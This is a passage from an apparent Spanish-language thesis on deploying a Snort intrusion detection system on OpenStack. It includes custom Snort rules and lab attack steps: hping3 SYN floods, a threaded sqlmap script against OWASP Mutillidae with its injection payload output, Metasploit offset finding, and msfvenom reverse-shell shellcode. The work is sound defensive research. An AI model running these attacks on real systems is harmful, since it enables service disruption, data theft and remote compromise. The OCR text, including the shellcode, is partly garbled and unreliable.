archivos de texto simples, archivos de estilo tcpdump u otra forma.

e Modulos de salida. Los modulos de salida o complementos (plugins) realizan

diferentes operaciones en la salida generada por el sistema de registro y alerta de Snort.

Un de sistema de deteccion de intrusiones basado en firmas es Snort presenta como ventajas
(V. Kumar & Sangwan, 2012):
e Hay pocos falsos positivos, siempre y cuando los ataques estén claramente definidos
de antemano.

e [a deteccion basada en firma es facil de usar.

2.3.6.1. Funcionamiento del sistema Snort

Esencialmente, Snort es un sistema que analiza paquetes de red, el cual que funciona como un
sistema de deteccion de intrusos que se encuentra basado en la libreria ‘libpcap’, que es una
interfaz de sistema que se encarga de la captura de paquetes y ha sido creada como parte de la
aplicacion fcpdump (Ocampo et al., 2017). A continuacion, se muestra en las Figuras 3-2 y 4-2, el

esquema general de funcionamiento de Snort.
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Servidor

Figura 4-2. Snort trabajando en red

Realizado por: Kumar and Sangwan, 2012

En la Figura 4-2, se puede apreciar que el sistema I envia el paquete al sistema A, pero antes
de llegar al servidor de destino comprueba ese paquete y, si el paquete es malicioso, el servidor

lo descarta; de lo contrario, envie el paquete al sistema A.

— B Si
i Listado de
Herramienta de
Comparacion Patrones de
i ’ Ataques

[
éCoincidencia?

Figura 5-2. Base de datos de firmas Snort

Realizado por: Elaborado a partir de Kumar and Sangwan, 2012

En la Figura 5-2, se menciona claramente el funcionamiento del servidor, el cual verifica los
paquetes; cuando un paquete llega al servidor, el servidor usa la herramienta de comparacion
para verificar ese paquete en la base de datos de acuerdo con la firma almacenada en el servidor
y si el servidor obtiene el resultado de que el paquete coincide con la base de datos, el servidor
descarta el paquete; de lo contrario, el servidor envia el paquete al sistema de destino (V. Kumar

& Sangwan, 2012).

2.3.6.2.  Modos de configuracion de Snort

Snort se puede configurar en tres modos principales: sniffer, logger de paquetes y deteccion
de intrusos en la red. En modo sniffer, el programa leera los paquetes de red y los mostrara en
la consola. En el modo de registrador de paquetes, el programa registrara los paquetes en el
disco. En el modo de deteccion de intrusos, el programa monitoreara el trafico de la red y lo

analizara contra un conjunto de reglas definido por el usuario. Luego, el programa realizara
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una accion especifica basada en lo que se ha identificado (Sekhar et al., 2015). A continuacion, se

detallan los modos en los que se puede configurar Snort:

Modo sniffer: en este modo, IDS lee los paquetes de datos de la red y los muestra en
un flujo continuo en la consola (Tayyebi and Bhilare, 2018).

Modo de registro de paquetes: en este modo, el IDS registra los paquetes leidos en el
disco. Los paquetes se registran en formato de salida predeterminado, es decir, texto
ASCII. Si se requiere una forma de registro mas compacta para un analisis posterior,
se debe considerar el modo binario de registro. El modo binario registra los paquetes
en formato tcpdump en un Unico archivo binario en el directorio de registro (Tayyebi
and Bhilare, 2018).

Modo de sistema de deteccion de intrusiones de red (NIDS): en este modo, IDS realiza
la deteccion y el andlisis del trafico de red. Este es el modo mas complejo y
configurable. Esto aplicara las reglas incluidas en el archivo snort.conf a cada paquete
para decidir si el paquete es malicioso. Una accion basada en la regla en el archivo se

toma en la deteccion de un ataque (Tayyebi and Bhilare, 2018).
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CAPITULO 111

3. METODOLOGIA DE LA INVESTIGACION
3.1. Tipo y disefio de la investigacion
3.1.1. Diserio de la investigacion

La investigacion es del tipo cuasi-experimental, ya que se escogen varios métodos, normas,
normativas y buenas practicas que se utilizaran como base para la creacion de un sistema de
seguridad para la plataforma OpenStack; ademas, los datos a obtenerse en las pruebas seran

generados por el autor de la investigacion.

3.1.2. Tipo de la investigacion

Es de tipo descriptiva y aplicativa, ya que se basa en conocimientos existentes, derivados de
investigaciones previas, dirigida al desarrollo tecnolégico en la seguridad de datos. Los
resultados permitiran identificar el comportamiento de la infraestructura, mediante pruebas y

simulaciones.

3.2. Métodos

La investigacion se realizo a través de la aplicacion de los siguientes métodos de investigacion:

Método cientifico, consiste en una serie de etapas que se tiene que recorrer para obtener un
conocimiento valido, utilizando instrumentos que resultes fiables, este método consta de las
siguientes etapas:

e Planteamiento del problema

e Formulacion de la hipotesis

e Levantamiento de la informacion

e Analisis e interpretacion de resultados

e Comprobacion de la hipotesis

e Difusién de resultados

Método analitico sintético, consiste es descomponer sus partes para examinar en forma
individual y posterior evaluarlas integralmente. Este método se utilizo para el entendimiento
de los temas de investigacion y la extraccion de informacién mas relevante permitiendo,

ademas, la comprobacion de la hipotesis.
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3.3. Técnicas y fuentes de informacion
3.3.1. Técnicas de recoleccion de datos
En la presenta investigacion se utilizaron las siguientes técnicas:
e Observacion: permitiéo determinar los resultados de las pruebas realizadas en los
escenarios de laboratorio.
e Pruebas: permitio realizar experimentos en escenarios de laboratorio.

e Analisis: permiti6 estudiar los resultado de la investigacion.

3.3.2. Fuentes de Informacion
Se basa en revision de fuentes de informacion bibliograficas:
Principales
e Pruebas
e (Observacion de resultados
Secundarias
e Tesis realizadas nacionales e internacionales de cuarto nivel
e Trabajos de investigaciones nacionales e internacionales
e Articulos cientificos en base de datos de bibliotecas virtuales
e Diccionarios especializados
e Conferencias académicas, congresos, seminarios
e Revistas indexadas y no indexadas publicadas de prestigio
e Revistas electronicas

e Péginas de internet que brinden informacion confiable.

34. Determinacion de las variables
3.4.1. Variable Dependiente:

Incremento del porcentaje de deteccion de ataques.

3.4.2. Variable independiente:

Sistema de seguridad de deteccion de intrusos.

3.4.3. Operacionalizacion conceptual de variables
VARIABLE TIPO CONCEPTO

Sistema de seguridad de | Variable Independiente | Sistema de deteccion de intrusos

detencion de intrusos que mejore la seguridad de la
infraestructura mediante codigo
abierto.

Incremento del porcentaje de | Variable Dependiente Disminuir la posibilidad de

deteccion de ataques ingresos de intrusos al sistema.
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Porcentaje de mejora en la

eficiencia de un IDS en
plataforma OpenStack.
3.4.4. Operacionalizacion metodolégica de variables
VARIABLE INDICADORES TECNICA E
INSTRUMENTOS

Sistema de seguridad de
detencion de intrusos

Complejidad en el disefo de la
solucion.

Analisis e Investigacion
Pruebas

Tiempo de implementacion. Observacion
IDS de cédigo abierto.
Incremento del | Numero de ataques | Recopilacion de
porcentaje de deteccion | informaticos detectados. informacion.

Nivel de eficiencia en el disefio
propuesto para la deteccion de
INtrusos.

Aplicacion y evaluacion del
sistema de seguridad.
Escenario de pruebas.

de ataques

3.5. Alcance investigativo
El alcance la de investigacion comprende el disefio, implementacion y evaluacion en

escenarios de pruebas controlados, utilizando distribuciones de OpenStack.

3.6. Prueba estadistica
Se realiza el contraste estadistico de diferencia de medias entre escenarios segun el nimero de
paquetes por segundo; se utiliza el software libre estadistico Past3 y el nivel de significancia

es del 5%; se asume normalidad en las proporciones de eficiencia.
3.7. Poblacion

En la presente investigacion, la poblacion esta representada por dos escenarios de pruebas
virtualizados con distribuciones de Ubuntu Canonical y Mirantis respectivamente, y tres tipos
de ataques que seran utilizados para medir el porcentaje de deteccion de ataques del sistema

IDS, los tipos de ataques analizar son:

e Denegacion de Servicios.
e Buffer Overflow
e SQL Injection

3.8. Unidad de Analisis
La unidad de analisis se basa en la eficiencia del sistema de deteccidon de intrusos, teniendo

como resultado el porcentaje de deteccion ataques informaticos.

3.9. Seleccion de la Muestra

No se realizara muestreo, se trabajara con el total de la poblacion establecida.
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3.10. Tamaifio de la Muestra
La muestra para la investigacion sera igual a la poblacion que corresponde a tres tipos de
ataques que seran utilizados para medir el porcentaje de deteccion de ataques del sistema IDS,

los tipos de ataques analizar son: Denegacion de Servicios, Buffer Overflow, SQL Injection.
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CAPITULO IV

4. DISENO DEL SISTEMA DE DETECCION DE INTRUSOS

4.1. Descripcion del disefio planteado

Para la evaluacion se plantearon dos escenarios:

e Sistema de deteccion de intrusos en una VM en la plataforma OpenStack
Consiste en la instalacion del IDS en una instancia dentro de la plataforma OpenStack, y el
trafico de red es reflejado en dicha maquina a través de un puerto espejo, de esta manera la

maquina virtual puede monitorear el trafico directamente.

e Sistema de deteccion de intrusos directo en el nodo de control.
Consiste en la instalacion del IDS directamente en el nodo de la red, un puerto del servicio de

Neutron va ser dedicado especificamente para monitorear el trafico de red.
El funcionamiento se desarroll6 de acuerdo con el siguiente diagrama logico:

-

0S — Nodo de control 01
DS

@ PE =x E
E

OD - Nodo de computo 01

1 INTERNET
Servidor Windows

xplotable
crorE 0S — Nodo de computo 02
Y

E B
Servidor Web E
|':|
]

Mitillidae 0S - Nodo de computo 03

Atacante 02

Figura 1-4. Arquitectura logica de red

Realizado por: Cristian Mifio, 2020

4.2. Diseiio del IDS propuesto
Para el disefio del IDS se necesita contar con un ambiente de pruebas controlado, en la Figura

2-4 se indica la arquitectura OpenStack utilizada.
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Figura 2-4. Arquitectura OpenStack utilizada en el ambiente de pruebas

Realizado por: Denton, 2018

En la Tabla 1-4 se indican los recursos de cada nodo, en los cuales se instalaron los diferentes

componentes de la plataforma OpenStack.

Tabla 1-4. Requerimiento de hardware para los nodos OpenStack

Servidor Cantidad |Requerimientos de hardware

Procesador: 64-bits
Cantidad de CPU: 4
Control (RED) 1 Memoria RAM: 4 GB
Disco duro: 50GB
Interfaces de red: 3

Procesador: 64-bits
Cantidad de CPU: 6
Cémputo 1 Memoria RAM: 4 GB
Disco duro: 50GB
Interfaces de red: 3

Realizado por: Cristian Mifio, 2020

En la Tabla 2-4, se indica el direccionamiento utilizado para la instalacion de la plataforma

OpenStack.
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Tabla 2-4. Direccionamiento de red para los nodos

Nombre del host Interface Direccion IP Tipo de puerto |ID VLAN
controller01 enp4sl 172.16.0.202 Access 700
controller01 enp4s2 10.0.2.202 Access 799
compute01 enp4sl 172.16.0.202 Access 700
compute01 enp4s2 10.0.2.202 Access 799

Realizado por: Cristian Mifio, 2020

Un vez establecida la infraestructura, se procede con la instalacion de la plataforma
OpenStack, como se indica en el ANEXO A; de igual manera, se procede con la instalacion
de los servidores a explotar, es decir, el sistema de deteccion de intrusos Snort y de los sistemas
de monitoreo y medicion, como se muestra en los anexos ANEXO B, ANEXO C, y ANEXO

D respectivamente.

4.2.1. Configuracion de reglas para el sistema Snort

El sistema de deteccion de intrusos Snort utiliza un lenguaje basado en reglas, que permite
detectar las anomalias y ataques en la red. Para este trabajo se agregaron reglas especificas,
como se muestra en la Figura 3-4, con el fin de analizar los tres ataques y estudiar el

rendimiento del sistema de deteccion de intrusos.

Para la descarga automatica de las reglas se utilizo la herramientas “pulledpork”, como se
indica en el ANEXO C el cual combina las reglas locales con las reglas descargadas del

internet y genera el archivo “sid-msg.map” que es utilizado por la herramienta barnyard2.

:~$ sudo more /etc/snort/rules/local.rules
alert icmp any any -> $HOME_NET any (msg:"ICMP test detected"; GID:1; sid:10000001; rev:001; classtype:icmp-event;)
alert tcp any any -> $HOME_NET 110 (msg:"Possible attack POP3 PASS exploit, cmino"; flow:to_server,established; content:"PASS"; pcre:"/APASS\s+[A\n]*?%/" ;
classtype:attempted-admin ; nocase;sid:10006;)
alert tcp any any -> $HOME_NET 80 (flags: S; msg: “Possible TCP DoS Detected, cmino”; flow: stateless; detection_filter: track by_dst, count 70, seconds 10
; sid: 10002; rev:1;)
alert tcp any any -> $HOME_NET 8@ (msg: "SQL Injection Detected 27"; content: "%27" ; sid:10000003; rev:3; classtype:web-application-attack;)
alert tcp any any -> $HOME_NET 8@ (msg: "SQL Injection Detected 22"; content: "22" ; sid:10000004; rev:4; classtype:web-application-attack;)

Figura 3-4. Reglas para el sistema Snort

Realizado por: Cristian Mifio, 2020

Para ejecutar la herramienta pulledpork se ejecuta el script desarrollado en el lenguaje de
programacion Perl, y este genera un resumen con el total de reglas descargadas y actualizadas,
como se muestra en la Figura 4-4.

1 sudo /usr/local/bin/pulledpork.pl -c /etc/snort/pulledpork.conf -1
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Writing v2 /etc/snort/sid-msg.map....

Done
Writing /var/log/sid_changes.log....
Done
Rule Stats...
New:------- ]
Deleted:---4

Enabled Rules:----1088
Dropped Rules:----@
Disabled Rules:---2826

Total Rules:------ 3914
IP Blacklist Stats...
Total IPs:----- 1285

Done
Please review /var/log/sid_changes.log for additional details

Fly Piggy Fly!
gy |

Figura 4-4. Ejecucion del script pulledpork

Realizado por: Cristian Mifio, 2020

4.2.2. Configuracion del puerto espejo en Open vSwitch
La configuracion del componente Neutron se la realizo a través del ML2 basado en agente, en
este caso con Open vSwitch, la creacion del puerto espejo se la realizo por medio del comando

ovs-vsctl, como se muestra en la Figura 5-4.

ovs-vsctl —— set bridge br@ mirrors=@m \
—— —id=@p get Port ethl \

—— —1id=@TP get Port br-ex \

—— —1id=@m create Mirror name=mymirror \
select-dst-port=@TP \
select-src-port=@TP \

output-port=@p select_all=1

N o B WN e

Figura 5-4. Configuracion del puerto espejo en Open vSwitch

Realizado por: Cristian Mifio, 2020

A continuacion, se describen cada uno de los parametros del comando ovs-vsctl:

@p - Obtiene el ID del puerto ethl y lo asigna a la variable p

@TP - Obtiene el ID del puerto br-ex y lo asigna a la variable TP

@m - Crea un mirror denominado mymirror y asigna el ID a la variable m
select-dst-port=@TP — Selecciona todos los paquetes destino del puerto (br-ex) @TP
select-src-port=@TP — Selecciona todos los paquetes origen del puerto (br-ex) @TP
output-port=@p — La salida reflejada es copiada al puerto espejo (ethl) @p
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4.2.3. Ejecucion de ataques controlados

Para ejecutar los ataques se utilizo la distribucion basada en GNU/Linux Debian - Kali Linux,
la cual es una distribucion orientada a la seguridad informatica y que cuenta con las
herramientas necesarias para realizar las pruebas de ataques que sirven para el analisis

planteado en este trabajo.

4.2.3.1. Denegacion de Servicio
Para la ejecucion del ataque de denegacion de servicio se utilizo la herramienta hping3, la cual
permite realizar una inundacion a nivel del protocolo TCP. Se realizaron ocho (8) repeticiones

con diferentes cantidades de paquetes por segundo, como se muestra en la Figura 6-4.

hping3 -q -S -i ul000 -p 80 10.0.2.204 -c 100
hping3 -q -S -i ul@0 -p 80 10.0.2.204 -c 1000
hping3 -q -S -i ul® -p 80 10.0.2.204 -c 10000
hping3 -q -S -i u8 -p 80 10.0.2.204 -c 20000
hping3 -q -S -i u7 -p 80 10.0.2.204 -c 30000
hping3 -q -S -i u6 -p 80 10.0.2.204 -c 40000
hping3 -q -S -i u5 -p 80 10.0.2.204 -c 50000
hping3 -q -S -i ul -p 80 10.0.2.204 -c 100000

0 NN OOL & WN =

Figura 6-4. Ejecucion del ataque de Denegacion de Servicio

Realizado por: Cristian Mifio, 2020

Para medir los tiempos de ejecucion se utilizd un script desarrollado en ‘shell’, como se

muestra en la Figura 7-4.

[root@ataquel ~]# more hping_mod.sh
FECHA_INICIO=$(($(date +%s¥%N)/1000000))
echo $FECHA_INICIO

hping3 -q -S -i $2 -p 80 10.0.2.204 -c $1
echo "enviado $1 paquetes"
FECHA_FIN=$(($(date +%s¥%N)/1000000))

echo $(($FECHA_FIN - $FECHA_INICIO))

Figura 7-4. Script en shell para medir el tiempo de ejecucion de hping3

Realizado por: Cristian Mifio, 2020

En la Figura 8-4, se puede verificar que el sistema de deteccion de intrusos registra ataques a

nivel del protocolo TCP.
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- Today's alerts: unique listing Source IP ination IP

- Last 24 Hours alerts: unique listing Source IP Destination IP

- Last 72 Hours alerts: unique listing Source IP Destination IP

- Most recent 15 Alerts: any protocol TCP uoP ICMP

- Last Source Ports: any protocol TcP uop

- Last Destination Ports: any protocol TcP uop Search

- Most Frequent Source Ports: any protocol TcP uDP Gﬂp.?;'l:: g:':c':[;': Time
- Most Frequent Destination Ports: any protocol TcP uop

- Most frequent 15 Addresses: Source Destination

- Most recent 15 Unique Alerts
- Most frequent 5 Unique Alerts

Sensors/Total: 1/ 1 Traffic Profile by Protocol
Unique Alerts: 2 TCP (100%)
Totaumber . _________________________________________________________|
Total Number of Alerts: 139435
UDP (0%)

+ Src IP addrs: 6
+ Dest. IP addrs: 7
+ Unique IP links 11 ICMP (< 1%)

[
+ Source Ports: 22619
Portscan Traffic (0%)

o TCP (22619) UDP (0)
+ DestPorts: 1

© TCP (1) UDP(0)

[ e | o e
BASE 1.4.5 (lilias) (by Kevin Johnson and the BASE Project Team
Built on ACID by Roman Danyliw )

Figura 8-4. Deteccion de ataques de Denegacion de Servicio

Realizado por: Cristian Mifio, 2020

4.2.3.2. SQL Injection

Para ejecutar el ataque de SQL Injection se utilizé sqlmap, que es una herramienta de codigo
abierto que permite realizar pruebas de penetracion SQL; por otra parte, el objeto a ser atacado
fue OWASP Mutillidae, la cual es una aplicacion web desarrollada en lenguaje PHP, que

puede ser utilizada para estudios y practicas de seguridad informatica.

Previo al uso de la herramienta sqlmap fue necesario capturar la sesion PHP de la consulta
realizada sobre la aplicacion web Mutillidae, con el fin de pasar como pardmetro a la
herramienta sqlmap. En la Figura 9-4 se muestra la captura de la peticion utilizando la

herramienta Burpsuite.
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B Burp Suite Community E... # Mozilla Firefox root@Kkali: ~

0400PM [V 4 O A O | @& &

Burp Suite Community Edition v2.1.07 - Temporary Project
Burp Project Intruder Repeater Window Help

Dashboard | Target [ #raxy | intruder | Repeater | sequencer | Decoder | Comparer | Extender | Project options | User options |

[[ntereps | HTTP history | WebSockets history | Options |

£ Request to http://10.0.2.204:80

Forward Drop | Interceptis on | Action

e e W @
Raw | Params | Headers | Hex
POST /mutillidae/index.php?page=login.php HTTP/1.1 A
Host: 10.0.2.204 r
User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,%/%;q=0.8
Accept-Language: en-US,en; .5
Accept-Encoding: gzip, deflate
Referer: http://10.0.2.204/mutillidae/index.php?page=Llogin.php
Content-Type: application/x-www-form-urlencoded
Content-Length: 62
Connection: close
Cookie: showhints=1; PHPSESSID=6oplk9gtildmdkibjmdo00aSoc
Upgrade-Insecure-Requests: 1
username=cmino&password=p.123456&login-php-submit-button=Login
L
Y
@ = + > 0 matches
Figura 9-4. Captura de la peticion a la aplicacion web mutillidae
Realizado por: Cristian Mifio, 2020
B| EI B Burp Suite Community E... 8 Moxilla Firef ] root@Kkali: ~ 03:59 PM ¢ OO A O ‘ ac

Mozilla Firefox

10.0.2.204/mutillidae/ X ¥ Preferences x |+

< c @ ® 10.0.2.204

Kali Linux Kali Training Kali Tools @ Kali Docs Kali Forums NetHunter @ Offensive Security Exploit-DB GHDB @ MSFU

R+

®% OWASP Mutillidae II: Keep Calm and Pwn On

Version: 2.7.12 Security Level: 0 (Hosed) Hints: Enabled (1 - Try easier)
Home Login/Register Toggle Hints Show Popup Hints Toggle Security

Not Logged In
Enforce SSL Reset DB View Log View Captured Data

OWASP 2017 » | User Info (SQL)

OWASP 2013 Al - Injection (Other) SQLi - Bypass Authentication

A2 - Broken Authentication and SQLi - Insert Injection TIP: Click Hint and Videos
OWASP 2010 Session Management on each page
Blind SQL via Timing

SQLMAP Practice »

OWASP 2007 A3 - Sensitive Data Exposure

r i A4 - XML External Entities 4 ? Cli
Web Services Via JavaScript Object Notation (JSONY b Click Here
AS5 - Broken Access Control —
Via SOAP Web Service 4
A6 - Security Misconfiguration
Via REST Web Service »
A7- Cross Stte|Scripting|(XSS) Listing of vulnerabilities
Documentation - )
A8 - Insecure Deserialization

Resources A9 - Using Components with Known »

ulnerabilities ”
" Release Announcements
LCOZEIRRBERE AL 410 - Insufficient Logging and
way to pay online! onitoring
Want to Help?

° j@ Latest Version

Video Tutorials

’ Helpful hints and scripts

10.0.2.204/mutillidae/

N cnma Heaful Eivafav Add.ane Z)\ Ruin Dannart Email Addrace

Figura 10-4. Aplicacion web mutillidae

Realizado por: Cristian Mifio, 2020

En la Figura 11-4 se puede observar el contenido de la peticion realizada hacia la aplicacion

web Mutillidae, lo cual incluye la sesion PHP.
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root@kali:~/script# more /tmp/user.request

GET /mutillidae/index.php?page=user-info.php&username=cmino&password=123&user-info-php-submit-button=View+Account+Details HTTP/1.1
Host: 10.0.2.204

User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:68.0) Gecko/20100101 Firefox/68.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5

Accept-Encoding: gzip, deflate

Referer: http://10.0.2.204/mutillidae/index.php?page=user-info.php

Connection: close

Cookie: showhints=1; PHPSESSID=60plk9gtildmdkibjmd@@d@aSoc
Upgrade-Insecure-Requests: 1

Figura 11-4. Contenido de la peticion a la aplicacion web mutillidae

Realizado por: Cristian Mifio, 2020

Posterior a la captura de la peticion, se prosigue a ejecutar el ataque a través de la herramienta
sqlmap; para enviar una cantidad determinada de ataques se desarrolld un script en Python,

como se muestra en la Figura 12-4.

root@kali:~/script# more script_sqlmap.py
import subprocess
import threading

def ejecutar_codigo():

subprocess.call(["sqlmap", "-r", "/tmp/user.request", "-p", "username", "--dbms=MySQL", "--banner"])
if __name__ == "__main__":
cont =1

while cont < 200:
thread = threading.Thread(target=ejecutar_codigo)
thread.start()
cont = cont + 1
root@kali:~/script#

Figura 12-4. Script en Python para ejecutar la herramienta slqmap

Realizado por: Cristian Mifio, 2020

Una vez ejecutado el ataque, se puede observar que el sistema de deteccion de intrusos registrd
estos eventos y los clasifico como SQL Injection Detect, como puede ser apreciado en la

Figura 13-4.

Type: UNION query
Title: MySQL UNION query (NULL) - 7 columns
Payload: page=user-info.php&username=cmino' UNION ALL SELECT NULL,CONCAT(@x7171787671,0x6574534e7069594d58647a494951564
LL,NULL#&password=123&user-info-php-submit-button=View Account Details
[21:11:37] [INFO] testing MySQL
[21:11:37] [INFO] confirming MySQL
[21:11:38] [ ] reflective value(s) found and filtering out
38] [ ] the back-end DBMS is MySQL
[21:11:38] [INFO] fetching banner
web server operating system: Linux Ubuntu
web application technology: Apache 2.4.29
back-end DBMS operating system: Linux Ubuntu
back-end DBMS: MySQL >= 5.0.0
banner: '5.7.28-Qubuntu0.18.04.4'
[21:11:38] [INFO] fetched data logged to text files under ' '
[21:11:38] [ ] you haven't updated sqlmap for more than 87 days!!!

Figura 13-4. Resultado de la ejecucion del ataque SQL Injection

Realizado por: Cristian Mifio, 2020
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Basic lysis and Security Engine (BASE)

Queried on : Tue November 18, 2019 02:12:48
Signature [snort] SQL Injection Detected 27" ..Clear... « Sensors
« Unique Alerts
IP Criteria any + (classifications )

+ Unique addresses: Source | Destination
Layer 4 Criteria none . Unquug 1P links. !

Meta Criteria

Payload Criteria any + Source Port: TCP | UDP
+ Destination Port: TCP | UDP
« Time profile of alerts
Displaying alerts 1-1 of 1 total
< Signature > < Classification > < Total # > Sensor # < Source Address > < Dest. Address > < First > <Last>
[snort) SQL Injection Detected 27 web-application-attack 566(7%) 1 1 1 2019-11-18 22:07:56 2019-11-18 02:11:46
ACTION
{action } v Selected  ALL on Screen

Alert Group ance | Cache & Status | Administration

BASE 1.4.5 (lilias) (by Kevin Johnson and the BASE Project Team
Built on ACID by Roman Danyliw )

Emr—

Figura 14-4. Deteccion del ataque SQL Injection

Realizado por: Cristian Mifio, 2020

4.2.3.3.  Buffer Overflow

Para ejecutar el ataque controlado de Buffer Overflow, se utiliz6 los paquetes de metasploit
de la distribucion de GNU/Linux Kali, adicional se instal6 la pwntools el cual es un framework
escrito en Python y desarrollado para realizar explotaciones a vulnerabilidades de forma
sencilla.

El framework pwntools se instalo en la maquina con SO GNU/Linux Kali, como se muestra

en la Figura 15-4.

apt-get update

apt-get install python3 python3-pip python3-dev git libssl-dev libffi-dev build-essential
python3 -m pip install —--upgrade pip

python3 -m pip install —-upgrade git+https://github.com/Gallopsled/pwntools.git@dev

A W N =

Figura 15-4. Instalacion de PWNTOOLS

Realizado por: Cristian Mifio, 2020

A través de las librerias de metasploit se obtiene la posicion en memoria de donde se genera

el buffer Overflow, como se muestra en la Figura 16-4.

root@kali:~# msf-pattern_offset -q 39694438
[*] Exact match at offset 2606
root@kali:~# msf-nasm_shell

nasm > jmp esp

00000000 FFE4 jmp esp
nasm >

Figura 16-4. Metasploit para obtener la posicion de memoria

Realizado por: Cristian Mifio, 2020
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Una vez obtenido las posiciones exacta de donde se genera el buffer Overflow, se prosigue a

generar el codigo Shell a través de la libreria msfvenom, como se muestra en la Figura 17-4.

root@kali:~# msfvenom -p windows/shell_reverse_tcp LHOST=10.0.2.208 LPORT=443 -f c -v shellcode -b '\x00\x@a\x@d'
[-] No platform was selected, choosing Msf::Module::Platform::Windows from the payload
[-] No arch selected, selecting arch: x86 from the payload
Found 11 compatible encoders

Attempting to encode payload with 1 iterations of x86/shikata_ga_nai
x86/shikata_ga_nai succeeded with size 351 (iteration=0)
x86/shikata_ga_nai chosen with final size 351

Payload size: 351 bytes

Final size of c file: 1506 bytes

unsigned char shellcode[] =
"\xbf\xd2\xda\x71\x70\xd9\xc6\xdI\x74\x24\x f4\x5e\x29\xc9\xb1"
"\x52\x31\x7e\x12\x03\x7e\x12\x83\x14\xde\x93\x85\x64\x37\xd1"
"\x66\x94\xc8\xb6\xef\x71\xfI\xf6\x94\xf2\xaa\xc6\xdf\x56\x47"
"\xac\xb2\x42\xdc\xc@\x1a\x65\x55\x6e\x7d\x48\x66\xc3\xbd\xcb"
"\xe4\x1e\x92\x2b\xd4\xd0\xe7\x2a\x11\x0c\x@5\x7e\xca\x5a\xb8"
"\x6e\x7f\x16\x01\x05\x33\xb6\x01\xfa\x84\xb\x20\xad\x9f \xe3"
"\xe2\x4c\x73\x98\xaa\x56\x90\xa5\x65\xed\x62\x51\x74\x27\xbb"
"\x9a\xdb\x06\x73\x69\x25\x4f\xb4\x92\x50\xb\xc6\x2f\x63\x7e"
"\xb4\xeb\xe6\x64\x1e\x7f\x50\x40\x9e\xac\x07\x03\xac\x19\x43"
"\x4b\xb1\x9c\x80\xe@\xcd\x15\x27\x26\x44\x6d\x0c\xe2\x0c\x35"
"\x2d\xb3\xe8\x98\x52\xa3\x52\x44\xf 7\xa8\x7f\x91\x8a\xf3\x17"
"\x56\xa7\x0b\xe8\xf@\xb@\x78\xda\x5f \x6b\x16\x56\x17\xb5\xe1"
"\x99\x02\x01\x7d\x64\xad\x72\x54\xa3\xfI\x22\xce\x02\x82\xa8"
"\x0e\xaa\x57\x7e\x5e\x04\x08\x3f \x0e\xed4\xf8\xd7\x44\xeb\x27"
"\Xc7\x67\x21\x40\x62\x92\xa2\x65\x73\x9e\xe2\x12\x71\x9%e\x03"
"\x58\xfc\x78\x69\x8e\xa9\xd3\x06\x37\xf@\xaf\xb7\xb8\x2e\xca"
"\xf8\x33\xdd\x2b\xb6\xb3\xa8\x3f\x2f\x34\xe7\x1d\xe6\x4b\xdd"
"\x09\x64\xd9\xba\xcI\xe3\xc2\x14\x9e\xa4\x35\x6d \x4a\x59\x6f"
"\xc7\x68\xad\xeN\x20\x28\x7f\xca\xaf\xb1\xf2\x76\x94\xal\xca"
"\X77\x90\x95\x82\x21\x4e\x43\x65\x98\x20\x3d\x3f\x77\xeb\xa9"
"\xc6\xbb\x2c\xaf\xc6\x91\xda\x4f\x76\x4c\x9b\x70\xb7\x18\x2b"
"\x09\xa5\xb8\xd4\xc@\x6d\xc8\x9e\x48\xc7\x41\x47\x19\x55\x0c"
"\x78\xf4\x9a\x29\xfb\xfc\x62\xce\xe3\x75\x66\x8a\xa3\x66\x1a"
"\x83\x41\x88\x89\xa4\x43" ;

Figura 17-4. Metasploit para generar el shell reverse tcp

Realizado por: Cristian Mifio, 2020

Posterior a contar con los parametros para realizar la explotacion se genero el script, el cual

va a ejecutar el ataque, como se muestra en el ANEXO E.

Una vez ejecutado el ataque, se puede observar que el sistema de deteccion de intrusos registro
estos eventos y los clasifico como “Possible attack POP3 PASS explot” , como puede ser

apreciado en la Figura 18-4.

[**] [1:10006:0] Possible attack POP3 PASS exploit, cmino [**] [Priority: @] {TCP} 10.0.2.208:50208 -> 10.0.2.210:110

[**] [1:10006:0] Possible attack POP3 PASS exploit, cmino [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 10.0.2.208:50264 -> 10.0.2.210:110
[**] [1:10006:0] Possible attack POP3 PASS exploit, cmino [**] [Classification: Attempted Administrator Privilege Gain] [Priority: 1] {TCP} 10.0.2.208:50264 -> 10.0.2.210:110

Figura 18-4. Resultado del ataque Buffer Overflow

Realizado por: Cristian Mifio, 2020

49



CAPITULO V

5. RESULTADOS Y DISCUSION

5.1. Desarrollo de las pruebas
La implementacion de una plataforma OpenStack para la fase de produccion es
extremadamente costosa, ya que necesita gran cantidad de recursos. Para el analisis del
presente proyecto, se propone un escenario que contempla los siguientes activos informaticos:
e Servidor de control
e Servidor de computo
e Servidor Web
e Servidor Windows XP

e Estaciones finales

Para comprobar la eficiencia del disefio del sistema de deteccion de intrusos se realizaron tres

(3) tipos de ataques, los cuales atentan contra: integridad, confidencialidad y disponibilidad.

5.1.1. Planteamiento de escenarios

Para la ejecucion de las pruebas se desarrollaron dos (2) escenarios:

e Escenario 1: Sistema de deteccion de intrusos en una maquina virtual en la plataforma
OpenStack.
Consiste en la instalacion del IDS en una instancia dentro de la plataforma OpenStack, y
el trafico de red es reflejado en dicha maquina a través de un puerto espejo, de esta manera

la maquina virtual puede monitorear el trafico directamente.

e Escenario 2: Sistema de deteccion de intrusos directo en el nodo de control.
Consiste en la instalacion del IDS directamente en el nodo de red; alli un puerto del
servicio de Neutron va a ser dedicado, especificamente, a monitorear el trafico de red.

5.1.2 Ataques para medir la eficiencia del IDS planteado.

e Ataque #1: Ataque de denegacion de servicio (DoS)

El ataque consiste en enviar una cantidad de paquetes en un determinado tiempo y analizar el

nivel de eficiencia del IDS.
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Tabla 1-5. Resultados del escenario 1 en el ataque 1

Paquetes por segundo (p/s) Paquetes detectados por el IDS % de eficiencia

100 100 100,00%

1.000 1.000 100,00%

10.000 9.027 90,27%

20.000 12.095 60,48%

30.000 11.330 37,67%

40.000 11.943 29,86%

50.000 10.689 21,39%

Realizado por: Cristian Mifio, 2020

Como se puede ver, a mayor cantidad de ataques, menor es la deteccion; lo que muestra una

pérdida de la eficiencia. Ahora, se muestran los resultados para el escenario nimero 2:

Tabla 2-5. Resultados del escenario 2 en el ataque 1

